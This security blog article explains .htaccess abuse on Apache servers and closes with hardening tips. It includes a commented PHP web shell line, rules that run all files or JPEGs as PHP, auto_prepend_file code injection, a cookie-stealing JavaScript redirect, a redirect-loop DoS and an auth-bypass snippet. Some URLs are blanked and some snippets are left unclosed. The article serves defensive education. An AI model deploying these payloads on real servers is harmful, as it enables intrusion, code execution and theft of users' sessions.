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Exploring Advanced .htaccess File Attacks

Exploring Advanced .htaccess File Attacks

The .htaccess file is a powerful configuration file utilized by web servers, particularly Apache, to control and modify various aspects of website behavior. While primarily designed for enhancing security and performance, the .htaccess file can also become a weapon in the hands of skilled attackers. In this article, we will delve into the realm of advanced .htaccess file attacks, shedding light on techniques that can be employed to treat all files as PHP code, achieve Remote Code Execution (RCE) by manipulating PHP configurations, and exploit Cross-Site Scripting (XSS) vulnerabilities. By understanding these attack vectors, web administrators and security professionals can bolster their defenses and safeguard their web applications.

What Is .htaccess?

What Is .htaccess?

.htaccess (hypertext access) is a configuration file used by Apache web servers to control various aspects of website behavior. It resides in the root directory of a website and allows for per-directory configuration changes. The .htaccess file enables developers to override default server settings, implement custom rules, and enhance website functionality, security, and search engine optimization (SEO). It offers advanced customization options, such as URL rewriting, password protection, MIME type handling, and content compression. The file’s impact on SEO includes improving website visibility, user experience, and search engine rankings through practices like redirect management and canonical URL implementation. In summary, .htaccess is a powerful tool that empowers webmasters to optimize their websites and tailor them to specific requirements.

Here’s an example of an .htaccess code snippet for implementing URL rewriting:

RewriteEngine On
RewriteRule ^products/([0-9]+)$ product.php?id=$1 [NC,L]

In this example, the code enables the RewriteEngine and specifies a rewrite rule using RewriteRule. It captures a URL pattern starting with “products/” followed by one or more digits ([0-9]+) and redirects it to product.php, passing the captured number as the id parameter. The [NC,L] flags stand for case-insensitive matching (NC) and indicates that this is the last rule to be processed (L).

This rule can be useful in creating user-friendly and SEO-friendly URLs. For instance, if a user visits, the server will internally process it as, but the user will see the former URL in their browser.

Please note that the actual implementation may vary depending on your specific server configuration and requirements.

Common Attack Using .htaccess

Attack Using .htaccess

During a penetration testing engagement, security professionals may explore potential attack vectors using the .htaccess file. While the primary purpose of .htaccess is to configure web server behavior, misconfigurations or malicious modifications to the file can lead to several attacks. Here are a few examples:

  • Server Misconfiguration: Improper configuration of the .htaccess file can expose sensitive information or weaken server security. Attackers may attempt to exploit these misconfigurations to gain unauthorized access to server resources or obtain valuable data.
  • URL Redirection and Phishing: Attackers can manipulate the .htaccess file to redirect website visitors to malicious or phishing domains. By crafting redirect rules, they can trick users into divulging sensitive information or downloading malware.
  • Denial of Service (DoS) Attacks: By using the .htaccess file, attackers can launch DoS attacks by imposing excessive server load or consuming server resources. They may, for example, create infinite redirect loops or flood the server with requests, causing it to become unresponsive.
  • Directory Traversal: In some cases, misconfigurations in the .htaccess file can allow attackers to bypass access restrictions and traverse the directory structure to access sensitive files or directories that should be protected. This can lead to unauthorized disclosure of sensitive information.
  • File Inclusion Attacks: Attackers may exploit misconfigured .htaccess files to execute arbitrary code on the server through file inclusion vulnerabilities. They can modify the .htaccess file to include malicious code or manipulate directives that facilitate remote file inclusion attacks.
  • Server-Side Scripting Vulnerabilities: By modifying the .htaccess file, attackers can exploit server-side scripting vulnerabilities such as Remote File Inclusion (RFI) or Server-Side Request Forgery (SSRF). This can allow them to execute arbitrary code or perform unauthorized actions on the server.
Let’s actually start with known techniques which I found out very useful:

1.Treating All Files as PHP Code

A. Understanding PHP as an Apache Module:

PHP is a popular server-side scripting language used for dynamic web development. When PHP is installed as an Apache module, it processes PHP files on the server before sending the resulting HTML to the client’s browser. This integration allows for the execution of PHP code within web pages.

B. Modifying .htaccess to Execute Non-PHP Files as PHP:

In certain scenarios, attackers may attempt to exploit a vulnerability in the server configuration to treat non-PHP files, including the .htaccess file itself, as PHP code. By setting the SetHandler option with the php-script parameter in the .htaccess file, they trick the server into interpreting the file as PHP code. Here’s an example:

# This configuration runs all extensions as PHP:
# Keep in mind that this code might give 500 Internal Server errors due to some kind of apache restrictions or unknown factors.
# <?php system($_GET['command']);?> - You can run php code even inside .htaccess file. IT SHOULD BE COMMENTED
<FilesMatch ".*">
    SetHandler php-script

With this code, any file requested from the server will be treated as PHP code and executed accordingly, regardless of its actual file extension.

C. Implications and Potential Risks:

Treating all files as PHP code poses severe security risks. It grants attackers the ability to execute arbitrary code, potentially leading to unauthorized access, data breaches, or other malicious activities. Since the .htaccess file is meant for server configuration, treating it as PHP code can allow attackers to modify server settings, rewrite URLs, or inject malicious code into web pages.

2.Remote Code Execution (RCE) through PHP Configuration Overwrite

A. Targeting the PHP Configuration:

Remote Code Execution (RCE) occurs when an attacker gains the ability to execute arbitrary code on a targeted system remotely. In the context of .htaccess file attacks, attackers may target the PHP configuration to achieve RCE. By modifying specific PHP settings, they can overwrite default values, enabling the execution of malicious code.

B. Modifying .htaccess to Overwrite PHP Settings:

Attackers may attempt to modify the .htaccess file to overwrite PHP settings, such as php_value or php_flag directives. These directives allow server-side configuration changes for PHP on a per-directory basis. For example, an attacker may use the following code:
php_value auto_prepend_file "/var/www/html/malicious.php"

With this code, the attacker specifies a file, “malicious.php,” which will be automatically included before the execution of any PHP script within the targeted directory. This allows them to execute arbitrary code contained within the “malicious.php” file.

C. Executing Arbitrary Code through RCE:

Once the attacker successfully overwrites the PHP configuration, they can leverage RCE to execute arbitrary code on the server. This can lead to various malicious activities, including data theft, unauthorized access, defacement, or further exploitation of the server environment.

3.Exploiting Cross-Site Scripting (XSS) Vulnerabilities

A. Introduction to XSS Attacks:

Cross-Site Scripting (XSS) is a common web application vulnerability that allows attackers to inject malicious code into web pages viewed by other users. XSS attacks occur when user-supplied input is not properly validated or sanitized, and the injected code is executed by the victim’s browser. This can lead to various malicious activities, including session hijacking, data theft, or malware distribution.

B. Injecting Malicious Code via .htaccess:

Attackers may attempt to exploit XSS vulnerabilities by injecting malicious code via the .htaccess file. By modifying the file, they can manipulate server responses and inject scripts into web pages.
An example of injecting an XSS payload into the .htaccess file is as follows:
<FilesMatch ".*">
    AddHandler application/x-httpd-php .jpg
    php_value auto_prepend_file "/var/www/html/xss_payload.php"

In this code, the attacker modifies the .htaccess file to treat JPEG files as PHP scripts and includes an auto-prepend directive that executes the “xss_payload.php” file before processing any js script. The “xss_payload.php” file contains the actual XSS payload that will be injected into the web pages.

C. Exploiting the XSS Payload:

Once the XSS payload is successfully injected into the web pages, it can be executed when other users access those pages. The payload can include JavaScript code that steals user data, modifies page content, redirects users to malicious websites, or performs other malicious actions.
For example, an XSS payload can be:
  // Malicious JavaScript code
  // Example: Stealing user cookies
  document.location = '' + document.cookie;

This code steals the user’s cookies and sends them to an attacker-controlled server.

Other Advanced .htaccess Attacks

4.Denial-of-Service (DoS) Attacks:

Attackers may abuse the .htaccess file to launch Denial-of-Service (DoS) attacks against a web server. They can create rules that generate excessive server load, consume resources, or cause server crashes. For example:
RewriteEngine On
RewriteRule ^(.*)$ /$1 [R=301,L]

In this case, the rule creates an infinite redirect loop, causing an endless number of requests to the server, leading to resource exhaustion and rendering the server unresponsive.

5.Password Protection Bypass:

If a website implements password protection using .htaccess, attackers may attempt to bypass it. They can modify the .htaccess file to disable or weaken the password protection mechanism. For example
AuthType None
Require all granted

By removing or altering the authentication directives, attackers can bypass the password protection and gain unauthorized access to restricted areas of the website.

5.Redirection and URL Manipulation Techniques:

Attackers can manipulate the .htaccess file to perform malicious redirection and URL manipulation. They may redirect users to malicious websites or manipulate URLs to exploit vulnerabilities or bypass security controls. For example:
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^ [NC]
RewriteRule ^(.*)$ [R=301,L]

In this case, any user coming from “” is redirected to “,” potentially leading to phishing attacks or malware distribution.

Hardening .htaccess Security:

To mitigate the risk of advanced .htaccess attacks, it is crucial to follow best practices for hardening its security:
  • Restrict Access: Set appropriate file permissions on the .htaccess file to prevent unauthorized modifications.
  • Regular Auditing: Regularly review and audit the .htaccess file for any unauthorized or suspicious directives or modifications.
  • Whitelist Directories: Allow only necessary directories to have an .htaccess file, minimizing the attack surface.
  • Disable Overrides: Disable server-side scripting and directory overrides unless specifically required.
  • Secure Server Configuration: Implement secure server configurations to restrict the execution of arbitrary code or disable unnecessary Apache modules.
  • Regular Updates: Keep the server software, including Apache, up to date with the latest security patches to address any known vulnerabilities.
By implementing these measures, webmasters can enhance the security of their .htaccess files and minimize the risk of advanced attacks targeting them. Regular security audits and staying informed about the latest security practices are also crucial to protect against emerging threats.


As web applications continue to evolve and become more complex, understanding the various attack vectors that can exploit vulnerabilities within the .htaccess file is crucial for maintaining a secure online presence. By exploring the techniques outlined in this article, web administrators and security professionals can proactively identify and mitigate potential risks, bolstering the security of their web applications. Remember, staying one step ahead of attackers requires continuous vigilance and a comprehensive understanding of the latest attack techniques.

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Written by Prapattimynk

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